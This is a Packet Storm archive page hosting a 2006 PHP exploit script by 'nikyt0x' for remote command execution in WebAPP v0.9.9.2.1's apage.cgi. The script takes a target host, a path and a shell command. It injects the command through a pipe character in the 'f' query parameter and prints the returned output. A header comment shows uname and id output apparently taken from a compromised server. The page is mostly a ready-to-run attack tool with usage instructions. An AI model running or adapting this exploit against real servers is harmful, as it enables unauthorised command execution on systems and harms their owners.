exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sbwebapp.txt

sbwebapp.txt
Posted Oct 27, 2006
Authored by nikyt0x | Site soulblack.com.ar

WebAPP v0.9.9.2.1 apage.cgi remote command execution exploit.

tags | exploit, remote, cgi
SHA-256 | 570cbcdd4473796143ad45dea24ba9487d965bfb9e3539fb0df926476863622c

sbwebapp.txt

Change Mirror Download
<?php

########################################################
# #
# WebAPP v0.9.9.2.1 Remote Command Execution Exploit #
# [Code by Nikyt0x] #
# nikyt0x@gmail.com #
# #
# Advisory: www.defacers.com.mx/advisories/3.txt # #
# #
# Saludos: #
# #
# Soulblack Staff, Status-x, NeosecurityTeam, #
# KingMetal, Trespasser... #
# #
########################################################
# #
# sbwebapp.php www.host.com /dirto/apage.cgi "command" #
# #
# Linux dprhensim19.doteasy.com 2.4.22-1.2199.nptl #
# #1 Wed Aug 4 12:21:48 EDT 2004 i686 i686 i386 #
# GNU/Linux #
# uid=557(scapip) gid=558(scapip) groups=558(scapip) #
# #
# #
# #
########################################################


if ($argc != 4) {

echo "\n =====================================\n";
echo " WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
echo " =====================================\n";
echo " Nikyt0x - SoulBlack Team\n\n";
echo "\nUsage:\n\n";
echo " $argv[0] www.host.com /apagedir/apage.cgi \"command\"\n";
exit(0);
}

if(!ereg('apage.cgi',$argv[2])) {
echo "URL to apage.cgi Incorrect.";
exit(0);
}

echo "\n =====================================\n";
echo " WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
echo " =====================================\n";
echo " Nikyt0x - SoulBlack Team\n\n";




$s0ck3t = fsockopen($argv[1], 80);
if (!$s0ck3t) {
echo "[-] Socket\n";
exit(0);

} else {
$ex3cutar = str_replace(" ", "%20", $argv[3]);
$petici0n = "GET $argv[2]?f=expofranquicias.htm|echo%20c0mand0s;$ex3cutar;echo%20final1zar| HTTP/1.1\r\n";
$petici0n .= "Host: $argv[1]\r\n";
$petici0n .= "Connection: Close\r\n\r\n";

echo "[+] Socket\n";

if(!fwrite($s0ck3t, $petici0n))
{
echo "[-] Sending Exploit\n";
exit(0);
}
echo "[+] Sending Exploit\n";
while (!feof($s0ck3t)) {
$g3tdata = fgets($s0ck3t, 1024);
if (eregi('c0mand0s',$g3tdata))
{
$aceptar = 1;
}
if (eregi('final1zar',$g3tdata))
{
$aceptar = 0;
}
while ($aceptar == 1)
{
if(eregi('c0mand0s',$g3tdata))
{
$g3tdata = str_replace('c0mand0s','', $g3tdata);
echo "[+] Command:\n";
}
$g3tdata = str_replace('c0mand0s','', $g3tdata);
echo $g3tdata;
break;
}

}
fclose($s0ck3t);
}
?>
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close